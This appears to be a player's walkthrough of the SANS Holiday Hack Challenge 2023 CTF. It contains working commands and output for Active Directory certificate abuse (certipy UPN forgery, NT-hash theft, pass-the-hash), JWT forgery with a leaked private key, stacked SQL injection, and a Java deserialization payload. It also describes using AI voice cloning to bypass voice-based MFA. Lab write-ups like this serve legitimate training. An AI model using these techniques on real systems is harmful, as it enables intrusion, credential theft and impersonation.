Tidify the script:

Import-Module ActiveDirectory; $UserName = \"elfy\";
$UserDomain = \"northpole.local\";
$UserUPN = \"$UserName@$UserDomain\";
$Password = ConvertTo-SecureString \"J4`ufC49/J4766\" -AsPlainText -Force;
$DCIP = \"10.0.0.53\";
New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname \"\" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru

We have what we need to progress:

  • username
  • password
  • domain
  • dc-ip

Hmmm, didnt Alabaster have a bunch of impacket tools…. Lets do play on the domain (specifically the DC)….

Hey certipy is in impacket, and it was the most serious issue on the pentest report in reportinator, lets play with it…

$ ./certipy find -vulnerable -u elfy -p J4\`ufC49/J4766 -target 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Saved BloodHound data to '20231208121336_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231208121336_Certipy.txt'
[*] Saved JSON output to '20231208121336_Certipy.json'

Ok, so it found a vulnerable users group:

  • NorthpoleUsers

Initially, we think about forging UPNs and privilege escalating to admin (makes our lives easier)

$ ./certipy req -username 'elfy@northpole.local' -password 'J4`ufC49/J4766' -ca northpole-npdc01-CA -dc-ip 10.0.0.53 -template NorthPoleUsers -upn 'administrator@northpole.local'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 25
[*] Got certificate with UPN 'administrator@northpole.corp'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

Sadly, this doesn’t work? Maybe administrator is not the way…

Lets find alabaster’s account, bingo, that works but wrong permissions. What were the objectives again? a file on Wombley Cubes share. Lets find him:

$ GetADUsers.py -dc-ip 10.0.0.53 northpole.local/elfy:"J4\`ufC49/J4766" -all
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Querying 10.0.0.53 for information about domain.
Name                  Email                           PasswordLastSet      LastLogon
--------------------  ------------------------------  -------------------  -------------------
alabaster                                             2023-12-14 01:32:23.273691  2023-12-14 11:45:07.453905
Guest                                                 <never>              <never>
krbtgt                                                2023-12-14 01:40:20.814181  <never>
elfy                                                  2023-12-14 01:42:36.995282  2023-12-14 12:27:12.683893
wombleycube                                           2023-12-14 01:42:37.135907  2023-12-14 13:26:34.381346
$ ./certipy account -u 'elfy@northpole.local' -p 'J4`ufC49/J4766' -dc-ip 10.0.0.53 -user wombleycube read
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Reading attributes for 'wombleycube':
    cn                                  : wombleycube
    distinguishedName                   : CN=wombleycube,CN=Users,DC=northpole,DC=local
    name                                : wombleycube
    objectSid                           : S-1-5-21-1571514939-4082307998-924462285-1105
    sAMAccountName                      : wombleycube

Ok, we found Wombley’s account now lets acquire his certificate:

alabaster@ssh-server-vm:~/impacket$ ./certipy req -username 'elfy@northpole.local' -password 'J4`ufC49/J4766' -ca northpole-npdc01-CA -dc-ip 10.0.0.53 -template NorthPoleUsers -upn 'wombleycube@northpole.local'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 30
[*] Got certificate with UPN 'wombleycube@northpole.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'wombleycube.pfx'

And now steal his NT hash:

alabaster@ssh-server-vm:~/impacket$ ./certipy auth -pfx wombleycube.pfx -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: wombleycube@northpole.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'wombleycube.ccache'
[*] Trying to retrieve NT hash for 'wombleycube'
[*] Got hash for 'wombleycube@northpole.local': aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23

Now we can use smbclient against the domain:

alabaster@ssh-server-vm:~/impacket$ ./smbclient.py -hashes :5740373231597863662f6d50484d3e23 -dc-ip 10.0.0.53 wombleycube@10.0.0.53
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# shares
ADMIN$
C$
D$
FileShare
IPC$
NETLOGON
SYSVOL
# mount FileShare
[-] cannot access local variable 'pathName' where it is not associated with a value
# cd \\FileShare
[-] No share selected
# use FileShare
# ls
drw-rw-rw-          0  Fri Dec  8 02:59:44 2023 .
drw-rw-rw-          0  Fri Dec  8 02:59:40 2023 ..
-rw-rw-rw-     701028  Fri Dec  8 02:59:44 2023 Cookies.pdf
-rw-rw-rw-    1521650  Fri Dec  8 02:59:44 2023 Cookies_Recipe.pdf
-rw-rw-rw-      54096  Fri Dec  8 02:59:44 2023 SignatureCookies.pdf
drw-rw-rw-          0  Fri Dec  8 02:59:44 2023 super_secret_research
-rw-rw-rw-        165  Fri Dec  8 02:59:44 2023 todo.txt
# cat todo.txt
1. Bake some cookies.
2. Restrict access to C:\FileShare\super_secret_research to only researchers so everyone cant see the folder or read its contents
3. Profit

Objective 19 complete

InstructionsForEnteringSatelliteGroundStation.txt

Now we can read the textfile, this is probably part of the next challenge….

$ cat InstructionsForEnteringSatelliteGroundStation.txt
Note to self:

To enter the Satellite Ground Station (SGS), say the following into the speaker:

And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.

Steampunk Island

Steampunk Island

Coggoggle Marina

Characters

  • Ribb Boneford
    • first deal with alabaster
    • go back to alabaster hack the AD
  • Jason
    • im not a dead fish

Jason

Rusty Quay

Characters

  • Angel Candysalt

Other

  • location of gameboy cartridge vol 3

Brass Bouy Port

Characters

  • Goose of steam punk
  • Bow ninecandle
  • Chimney scissorsticks

Faster Lock Combination

Presenting a challenge specifically crafted to expose users to the vulnerabilities inherent in certain spin-lock implementations. This exercise is designed to highlight and demonstrate the weaknesses associated with these particular types of spin locks.

Faster lock

Refences

Howto

  • Using samy’s guide and calculator…
  • Lock became stuck on 0 , 5
  • Resistance observed at 26
  • using samy’s calculator: 31,5,35

Alternative method

It’s all a simulation after all….

Replicating complex mechanism in video games, is tough, you lose the feel and dexterity of life, so have to rely on visual cues.

  • Find resistance add 5 to its value for the first digit
  • Turn anti clockwise to get past 0, put tension on lock, and continue the movement noting the sticking points
    • repeat this step, you should end up with a sequence
    • 3,7,11,15,19 … (our lock)
    • 2,6,10,14,18 …
  • Note the sequence

Now with this info:

  • Turn right 3x til you hit this number
  • Turn left twice on each sequence 3,7,11,15,19
    • if the lock reset turns red; you made a mistake start again
    • if the lock reset stays green - keep going, its looking good
  • Turn right 1x, hit every number and pull shackle until the lock pops 25,3,17

Once opened! Objective 8 complete

The Captain’s Comms

Hints

  • Find journal pixel island
  • /jwtDefault/rMonitor.tok?
  • Moved privatekey to a folder no one will find?
  • capsPubKey.key ‘publickey’ in keys folder same dir as ‘roleMonitor’ (rMonitor)
  • rMonitor/capsPubKey.key

Extract from winning Elfhunt:

I hear the Captain likes to abbreviate words in his filenames; shortening some words to just 1,2,3, or 4 letters. ROLE: GeeseIslandsSuperChiefCommunicationsOfficer

There is not much we can initially do, read some books, scraps of paper on the desk. The hints tell us theres an initial Monitor role so we will target and obtain that role first…

We start looking for the default directory and file

  • /jwtDefault/rMonitor.tok

However, this is proving difficult did we make a misake?

Turns out we need an initial dummy role from accessing /checkRole this can be achieved by clicking on the SDR machine. We recommend using an intercepting proxy so you can capture and replay the request.

Manipulating the captured request proves successful and we can find the JWT token for the Monitor role:

GET /jwtDefault/rMonitor.tok HTTP/2
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvTW9uaXRvciJ9.f_z24CMLim2JDKf8KP_PsJmMg3l_V9OzEwK1E_IBE9rrIGRVBZjqGpvTqAQQSesJD82LhK2h8dCcvUcF7awiAPpgZpcfM5jdkXR7DAKzaHAV0OwTRS6x_Uuo6tqGMu4XZVjGzTvba-eMGTHXyfekvtZr8uLLhvNxoarCrDLiwZ_cKLViRojGuRIhGAQCpumw6NTyLuUYovy_iymNfe7pqsXQNL_iyoUwWxfWcfwch7eGmf2mBrdEiTB6LZJ1ar0FONfrLGX19TV25Qy8auNWQIn6jczWM9WcZbuOIfOvlvKhyVWbPdAK3zB7OOm-DbWm1aFNYKr6JIRDLobPfiqhKg

Obtain the public key:

GET /jwtDefault/keys/capsPubKey.key
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsJZuLJVB4EftUOQN1Auw
VzJyr1Ma4xFo6EsEzrkprnQcdgwz2iMM76IEiH8FlgKZG1U0RU4N3suI24NJsb5w
J327IYXAuOLBLzIN65nQhJ9wBPR7Wd4Eoo2wJP2m2HKwkW5Yadj6T2YgwZLmod3q
n6JlhN03DOk1biNuLDyWao+MPmg2RcxDR2PRnfBartzw0HPB1yC2Sp33eDGkpIXa
cx/lGVHFVxE1ptXP+asOAzK1wEezyDjyUxZcMMmV0VibzeXbxsXYvV3knScr2WYO
qZ5ssa4Rah9sWnm0CKG638/lVD9kwbvcO2lMlUeTp7vwOTXEGyadpB0WsuIKuPH6
uQIDAQAB
-----END PUBLIC KEY-----

Now we can access the SDR, but we cant decode any signals. Refering to the manuals we need another role…

SDR

So next we need to obtain the radioDecoder role or rDecoder.tok

GET /jwtDefault/rDecoder.tok
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg

We alter you replace header in burp and substitute our previous Authorization bearer token for this new role.

Now we can decode the SDR signals like so:

CW

Numbers

Fax

Get the Private Key

GET /jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCwlm4slUHgR+1Q
5A3UC7BXMnKvUxrjEWjoSwTOuSmudBx2DDPaIwzvogSIfwWWApkbVTRFTg3ey4jb
g0mxvnAnfbshhcC44sEvMg3rmdCEn3AE9HtZ3gSijbAk/abYcrCRblhp2PpPZiDB
kuah3eqfomWE3TcM6TVuI24sPJZqj4w+aDZFzENHY9Gd8Fqu3PDQc8HXILZKnfd4
MaSkhdpzH+UZUcVXETWm1c/5qw4DMrXAR7PIOPJTFlwwyZXRWJvN5dvGxdi9XeSd
JyvZZg6pnmyxrhFqH2xaebQIobrfz+VUP2TBu9w7aUyVR5Onu/A5NcQbJp2kHRay
4gq48fq5AgMBAAECggEATlcmYJQE6i2uvFS4R8q5vC1u0JYzVupJ2sgxRU7DDZiI
adyHAm7LVeJQVYfYoBDeANC/hEGZCK7OM+heQMMGOZbfdoNCmSNL5ha0M0IFTlj3
VtNph9hlwQHP09FN/DeBWruT8L1oauIZhRcZR1VOuexPUm7bddheMlL4lRp59qKj
9k1hUQ3R3qAYST2EnqpEk1NV3TirnhIcAod53aAzcAqg/VruoPhdwmSv/xrfDS9R
DCxOzplHbVQ7sxZSt6URO/El6BrkvVvJEqECMUdON4agNEK5IYAFuIbETFNSu1TP
/dMvnR1fpM0lPOXeUKPNFveGKCc7B4IF2aDQ/CvD+wKBgQDpJjHSbtABNaJqVJ3N
/pMROk+UkTbSW69CgiH03TNJ9RflVMphwNfFJqwcWUwIEsBpe+Wa3xE0ZatecEM9
4PevvXGujmfskst/PuCuDwHnQ5OkRwaGIkujmBaNFmpkF+51v6LNdnt8UPGrkovD
onQIEjmvS1b53eUhDI91eysPKwKBgQDB5RVaS7huAJGJOgMpKzu54N6uljSwoisz
YJRY+5V0h65PucmZHPHe4/+cSUuuhMWOPinr+tbZtwYaiX04CNK1s8u4qqcX2ZRD
YuEv+WNDv2e1XjoWCTxfP71EorywkEyCnZq5kax3cPOqBs4UvSmsR9JiYKdeXfaC
VGiUyJgLqwKBgQDL+VZtO/VOmZXWYOEOb0JLODCXUdQchYn3LdJ3X26XrY2SXXQR
wZ0EJqk8xAL4rS8ZGgPuUmnC5Y/ft2eco00OuzbR+FSDbIoMcP4wSYDoyv5IIrta
bnauUUipdorttuIwsc/E4Xt3b3l/GV6dcWsCBK/i5I7bW34yQ8LejTtGsQKBgAmx
NdwJpPJ6vMurRrUsIBQulXMMtx2NPbOXxFKeYN4uWhxKITWyKLUHmKNrVokmwelW
Wiodo9fGOlvhO40tg7rpfemBPlEG405rBu6q/LdKPhjm2Oh5Fbd9LCzeJah9zhVJ
Y46bJY/i6Ys6Q9rticO+41lfk344HDZvmbq2PEN5AoGBANrYUVhKdTY0OmxLOrBb
kk8qpMhJycpmLFwymvFf0j3dWzwo8cY/+2zCFEtv6t1r7b8bjz/NYrwS0GvEc6Bj
xVa9JIGLTKZt+VRYMP1V+uJEmgSnwUFKrXPrAsyRaMcq0HAvQOMICX4ZvGyzWhut
UdQXV73mNwnYl0RQmBnDOl+i
-----END PRIVATE KEY-----

Now we can forge a JWT ticket, again use burp to replace our Authorization token, and take control of the radio…

Our initial role, with the public and private keys (testing the verification):

JWT1

Modifying the role, to the Captains role:

JWT2

Using the information already obtained, now we can focus on the end-goal…

Frequency: 10426

Go-date: 1224 (from Numbers)

Go-time: 1600 (from Numbers) - 4 hrs timezone (from intro text) = 1200

Bingo! Objective 18 complete

Operating the radio

Space Island

Space Island

Cape cosmic

Characters

  • Goose of Space Island

Nothing much to do here, as there is massive fence guarding the perimeter!

Spaceport point

Characters

  • Goose of Space Island
  • Jewel Loggins

Mfa something - Wombley says a specific phrase into the Access Speaker. He works in the Research Department and everything they do it super secret, so it may be a challenge to find out what the phrase is. Ribb also works in that department. Try to find and ask him.

Space Island Access Speaker

Access Speaker door

First use: we notice we need a wav file

Alabasters note from the AD Challenge:

To enter the Satellite Ground Station (SGS), say the following into the speaker:

And he whispered, ‘Now I shall be out of sight; So through the valley and over the height.’ And he’ll silently take his way.

OK, so we already have a sample of wombleys voice from Noir Island. Can we use AI to generate this sentence and bypass the MFA?

YES WE CAN!!!! Using one of several AI’s to replicate and synthesis Wombley’s voice-phrase…

Original walkthrough

Quick Google for “AI online replicate voice and phrase” and Elevenlabs is at the top of the results

Elevenlabs Ad

  • Elevenlabs.io
  • Current offer 80% off so $1 - REMEMBER !! CANCEL SUBSCRIPTION ONCE YOU ARE DONE!!
  • !!WARNING!! Use credit cards responsibly, if you dont have one, ask permission from a parent!

App Configuration

Configure the App as so….

Task: Speech to Speech

Upload Wombleys’ mp3

Insert Text:

And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.

Click Download MP3

Convert the mp3 to wav

Next convert to wav file:

Option 1 - free cloud service

Option 2 - ffmpeg

 ffmpeg -i ElevenLabs_2023-12.mp3 -acodec pcm_u8 -ar 22050 ElevenLabs_2023-12.wav

Free version Walkthrough

Visit play.ht

  • Sign up and in, or use your Google account!
  • Goto Voice cloning, and upload Wombleys’ MP3.
  • Enter the Phrase
  • Change voice to Wombleys’ character

play.ht image

Conveniently its output is already a wav file!

Access Speaker - play wav file

Access Speaker code

Return to the door, choose the wav file, and Enter!!!!!

Objective 20 Complete

Zenith SGS

Characters

  • Wombley Cube

Camera Access

In his hubris, Wombley revealed that he thinks you won’t be able to access the satellite’s “Supervisor Directory”. There must be a good reason he mentioned that specifically, and a way to access it. He also said there’s someone else masterminding the whole plot. There must be a way to discover who that is using the nanosat.

  • download docker container from NanoSat-o-matic
  • use gatexor for wireguard config
  • use wireguard on host
  • Decide whether to run container in Docker/Podman

Docker

cd client_container
podman build -t .
docker run -it -p 5900:5900 -p 6901:6901 --rm nmf_client

Podman

podman machine start
cd client_container
podman build -t nmf_client -f Dockerfile
podman run -d -p 6901:6901 -p 5900:5900 --cap-add="NET_ADMIN" --cap-add="NET_RAW" nmf_client

Either Docker/Podman shoudl start the container with the following EXPOSEd services

  • VNC on 5900/TCP
  • NoVNC (http) on 6901/TCP

If your met with a blank screen, check the ports on the container, as already running services can jump the port numbers by +1 e.g. VNC on 5901 and NoVNC on 6902

NMF_Client

NMF Client

Use directory url

  • maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Directory

Connect to nanosat-mo-supervisor

NMF Client2

start the Camera application

Enable Camera (& Missile) in Apps Launcher Service

NMF Client3

Go back to Communication Settings, to access the Camera application (you might have to re-fetch the directory services)

NMF Client4

Once in the camera application, go to Parameter Services to enable the camera functions:

NMF Client5

Goto Action Service, highlight the Base64snap image row, then click

  • submitAction
  • submit This should take a picture

NMF Client6

Next, back to Parameter Services, highlight the Base64Encided JPG row, and click:

  • getValue This should retrieve the image

NMF Client7

Hmmm, cant extract base64…

We know satellite communications are unencrypted.

Solution - use wireshark

  • Use a tcp-follow filter (from right clicking) or using a search-filter
tcp.stream == 2
  • Manually extract the base64 image string using your cursor
  • Base64 decode the image string to an actual image
echo "/9j... very long string"|base64 -d -i - > file.jpg
#or if you stored the string in a file called image.b64
cat image.b64|base64 -d -i- > file.jpg
  • Finally view the image, on your platforms native image viewer!

Wireshark extract photo

Jack

Missile Diversion

This time we target the missile-targeting-system, our objective is to change the targeting system to point from Earth to the Sun!

Connect to nanosat-mo-supervisor

start the missile-target application

Enable the following in Parameter Service - Definitions

  • PointingMode
  • X
  • Y
  • Debug

NMF Client8

Nothing really works, but debug spits out os-version string. Lets look at the code

Review the source (luke…)

Download and run Java decompiler (jd-gui)

Review code for MissileTargetingSystemMCAdapter via jar-file /opt/nmf/lib/missile-targeting-system-2.1.0-SNAPSHOT.jar

java -jar jd-gui-1.6.6.jar

JD-GUI

sqlDebug() function looks really interesting….

Attack the vulnerability

We use this site as a reference for MySQL one-liners:

union all SELECT table_name from information_schema.tables where table_schema = 'missile_targeting_system';

Urght union selects are not great for UPDATE or INSERT!

We re-read code - realise stack queries permitted, makes things easier

Connection connection = DriverManager.getConnection("jdbc:mariadb://localhost:3306/missile_targeting_system?allowMultiQueries=true", "targeter", "cu3xmzp9tzpi00bdqvxq");
  • allowMultiQueries=true” We have stackable queries this make life easier:
 ;SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’

Results in simple form:

 satellite_query ( jid, object,results)
 messaging (id, msg_type, msg_data)
 pointing_mode_to_str (id, numerical_mode,str_mode, str_desc)
 pointing_mode (id, numerical_mode
 target_coordinates (id,lat,lng)

show user permissions:

 grantee: targeter@%
 privilege_type: usage
 is_grantable: no

show grants:

Missile SQL1

Missile SQL2

  • so we can manipulate the satellite_query table!!!!

Next we check pointing mode:

 ;select numerical_mode from pointing_mode; insert into pointing_mode(numerical_mode) values (1);select numerical_mode from pointing_mode;
  • 0 - pointing at Earth

Hmmm, how to change the pointing mode when we dont have permissions on the pointing_mode table?

We have more privileges on satellite_query, so lets investigate more….

;select * on satellite_query

Looks like we have some source code in the results column of the first record in the table, we save it for potential later use:

import java.io.Serializable;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import com.google.gson.Gson;

public class SatelliteQueryFileFolderUtility implements Serializable {
    private String pathOrStatement;
    private boolean isQuery;
    private boolean isUpdate;

    public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
        this.pathOrStatement = pathOrStatement;
        this.isQuery = isQuery;
        this.isUpdate = isUpdate;
    }

    public String getResults(Connection connection) {
        if (isQuery && connection != null) {
            if (!isUpdate) {
                try (PreparedStatement selectStmt = connection.prepareStatement(pathOrStatement);
                    ResultSet rs = selectStmt.executeQuery()) {
                    List<HashMap<String, String>> rows = new ArrayList<>();
                    while(rs.next()) {
                        HashMap<String, String> row = new HashMap<>();
                        for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
                            String key = rs.getMetaData().getColumnName(i);
                            String value = rs.getString(i);
                            row.put(key, value);
                        }
                        rows.add(row);
                    }
                    Gson gson = new Gson();
                    String json = gson.toJson(rows);
                    return json;
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            } else {
                try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
                    pstmt.executeUpdate();
                    return "SQL Update completed.";
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            }
        } else {
            Path path = Paths.get(pathOrStatement);
            try {
                if (Files.notExists(path)) {
                    return "Path does not exist.";
                } else if (Files.isDirectory(path)) {
                    // Use try-with-resources to ensure the stream is closed after use
                    try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
                        return walk.skip(1) // skip the directory itself
                                .map(p -> Files.isDirectory(p) ? "D: " + p.getFileName() : "F: " + p.getFileName())
                                .collect(Collectors.joining("\n"));
                    }
                } else {
                    // Assume it's a readable file
                    return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
                }
            } catch (IOException e) {
                return "Error reading path: " + e.toString();
            }
        }
    }

    public String getpathOrStatement() {
        return pathOrStatement;
    }
}

We try writing various strings and objects into the table satellite_query. From out tests we can determine that the contents of object are deserialized and executed. Attempts to insert our own code result in a “class not found error!”.

So lets try to compile the leaked source, and see if we can manipulate it to obtain our end goal.

javac SatelliteQueryFileFolderUtility.java
  • Error missing gson

Quick search and we can download Google Gson from MVN

  • wget https://repo1.maven.org/maven2/com/google/code/gson/gson/2.8.6/gson-2.8.6.jar

Now to recompile, we set a CLASSPATH, so the compiler knows where to import gson:

CLASSPATH=./gson-2.8.6.jar javac SatelliteQueryFileFolderUtility.java

Compilation successful!

Now to Serialize?, I don’t like java or serialization, so I’ll ask chatGPT for help…

We uploaded the source java to chatGPT and asked it to generate code that would serliase the SatelliteQueryFileFolderUtility function.

We then manually made changes to the code to suit our needs, below is our PoC:

import java.io.*;
import java.nio.file.*;
import java.util.Base64;

public class SerializeExample {
    public static void main(String[] args) {
        // Create an instance with pathOrStatement set to "/"
        SatelliteQueryFileFolderUtility utility = new SatelliteQueryFileFolderUtility("update pointing_mode set numerical_mode=1", true, true);

        // Serialize the object
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serializedUtility.ser"))) {
            oos.writeObject(utility);
            System.out.println("Object serialized successfully.");

            // Print the serialized bytes in hexadecimal format
            byte[] serializedBytes = Files.readAllBytes(Paths.get("serializedUtility.ser"));
            String hexRepresentation = bytesToHex(serializedBytes);
            System.out.println("Serialized Hex: " + hexRepresentation);

        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    private static String bytesToHex(byte[] bytes) {
        // Using Base64 encoding as an alternative to convert bytes to a string
        return Base64.getEncoder().encodeToString(bytes);
    }
}

Lets compile and test the code

❯ javac SerializeExample.java
❯ java SerializeExample
Object serialized successfully.
Serialized Hex: rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAEBdAApdXBkYXRlIHBvaW50aW5nX21vZGUgc2V0IG51bWVyaWNhbF9tb2RlPTE=

It runs !!!!!

we use Cyberchef to convert the base64 to hex, and use an INSERT and UNHEX functions to insert our payload into the database:

;insert into satellite_query(object) values(unhex('aced00057372001f536174656c6c697465517565727946696c65466f6c6465725574696c69747912d4f68d0eb392cb0200035a0007697351756572795a000869735570646174654c000f706174684f7253746174656d656e747400124c6a6176612f6c616e672f537472696e673b7870010174002975706461746520706f696e74696e675f6d6f646520736574206e756d65726963616c5f6d6f64653d31'))

Alternatively, later I found out you could have used the from_base64 function:

;insert into satellite_query(object) values(from_base64('rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAEBdAApdXBkYXRlIHBvaW50aW5nX21vZGUgc2V0IG51bWVyaWNhbF9tb2RlPTE='))

Win!!!! Success, the missile targets the Sun!

Missile Sun1

Missile Sun2

Objective 1

Holiday Orientation

Talk to Jingle Ringford on Christmas Island and get your bearings at Geese Islands

Objective 2

Snowball fight

Visit Christmas Island and talk to Morcel Nougat about this great new game. Team up with another player and show Morcel how to win against Santa!

Objective 3

Linux 101

Visit Ginger Breddie in Santa’s Shack on Christmas Island to help him with some basic Linux tasks. It’s in the southwest corner of Frosty’s Beach.

Objective 4

Reportinator

Noel Boetie used ChatNPT to write a pentest report. Go to Christmas Island and help him clean it up.

Objective 5

Azure 101

Help Sparkle Redberry with some Azure command line skills. Find the elf and the terminal on Christmas Island.

Objective 6

Luggage Lock

Help Garland Candlesticks on the Island of Misfit Toys get back into his luggage by finding the correct position for all four dials

Objective 7

Linux Priv Esc

Rosemold is in Ostrich Saloon on the Island of Misfit Toys. Give her a hand with escalation for a tip about hidden islands.

Objective 8

Faster Lock Combination

Over on Steampunk Island, Bow Ninecandle is having trouble opening a padlock. Do some research and see if you can help open it!

Objective 9

Game Cartridges: Vol 1

Simply play the game, beat it scan the QR Code

The dog hints and some blocks will respond to your whistle and will sing.

  • These blocks need to be pushed to their indicated positions.
  • 7x blocks need to me moved

Vol1 1

Above, is a picture demonstrating the whistle and block interactions.

Vol1 2

Above is the completed QR-code after solving the puzzle.

Website: 8bitelf.com

flag:santaconfusedgivingplanetsqrcode

Objective 10

Game Cartridges: Vol 2

Hints

  1. This feels the same, but different!
  2. If it feels like you are going crazy, you probably are! Or maybe, just maybe, you’ve not yet figured out where the hidden ROM is hiding.
  3. I think I may need to get a DIFFerent perspective.
  4. I wonder if someone can give me a few pointers to swap.

Solving the challenge

When we load the cartridge and emulator by clicking on the cartridge, we observe it loading game0.gb, refreshing and suddenly its loading game1.gb – These must be the two versions.

  • https://gamegosling.com/vol2-akHB27gg6pN0/rom/game0.gb
  • https://gamegosling.com/vol2-akHB27gg6pN0/rom/game1.gb

Vol2 1

vbindiff game0.gb game1.gb

vbindiff

note differences, make manual patches via hex editor

  • only patch 1-4 bytes at a time (bytes must be adjacent)

We end up with these patched game0 files:

  • game0_14f.gb
  • game0_16a80.gb
  • game0_16ab0.gb
  • game0_17c80.gb
  • game0_0590.gb
  • game0_18500.gb
  • game0_18510.gb

The winning hacked game…

  • game0_17c80.gb

Vol2 2

Pass the wizard, jump through portal listen to the radio

--. .-.. ----- .-. -.-- --.

Sounds like morse code, a quick double check…

--. .-.. ----- .-. -.-- --.

Morsedecode

GL0RY

Objective 11

Game Cartridges: Vol 3

Find the third Gamegosling cartridge and beat the game.

  • Loaded game in emulator in Windows VM
  • Loaded Cheat Engine - required disabling AV
    • See settings, and address in the image below!
  • Hacked the emulators memory to patch the bytes of memory representing coins!
  • Played the game to the end!

Cheat Engine

Objective 12

Na’an

Shifty McShuffles is hustling cards on Film Noir Island. Outwit that meddling elf and win!

Objective 13

KQL Kraken Hunt

Use Azure Data Explorer to uncover misdeeds in Santa’s IT enterprise. Go to Film Noir Island and talk to Tangle Coalbox for more information.

Jump to KQL Answers below

Objective 14

Phish Detection Agency

Fitzy Shortstack on Film Noir Island needs help battling dastardly phishers. Help sort the good from the bad!

Objective 15

Hashcat

Eve Snowshoes is trying to recover a password. Head to the Island of Misfit Toys and take a crack at it!

IluvC4ndyC4nes!

Objective 16

Elfhunt

Piney Sappington needs a lesson in JSON web tokens. Hack Elf Hunt and score 75 points.

Objective 17

Certificate SSHenanigans

Go to Pixel Island and review Alabaster Snowball’s new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?

gingerbread

Objective 18

The Captains Comms

Speak with Chimney Scissorsticks on Steampunk Island about the interesting things the captain is hearing on his new Software Defined Radio. You’ll need to assume the GeeseIslandsSuperChiefCommunicationsOfficer role.

Objective 19

Active Directory

Go to Steampunk Island and help Ribb Bonbowford audit the Azure AD environment. What’s the name of the secret file in the inaccessible folder on the FileShare?

InstructionsForEnteringSatelliteGroundStation.txt

Objective 20

Space Island Door Access Speaker

There’s a door that needs opening on Space Island! Talk to Jewel Loggins there for more information.
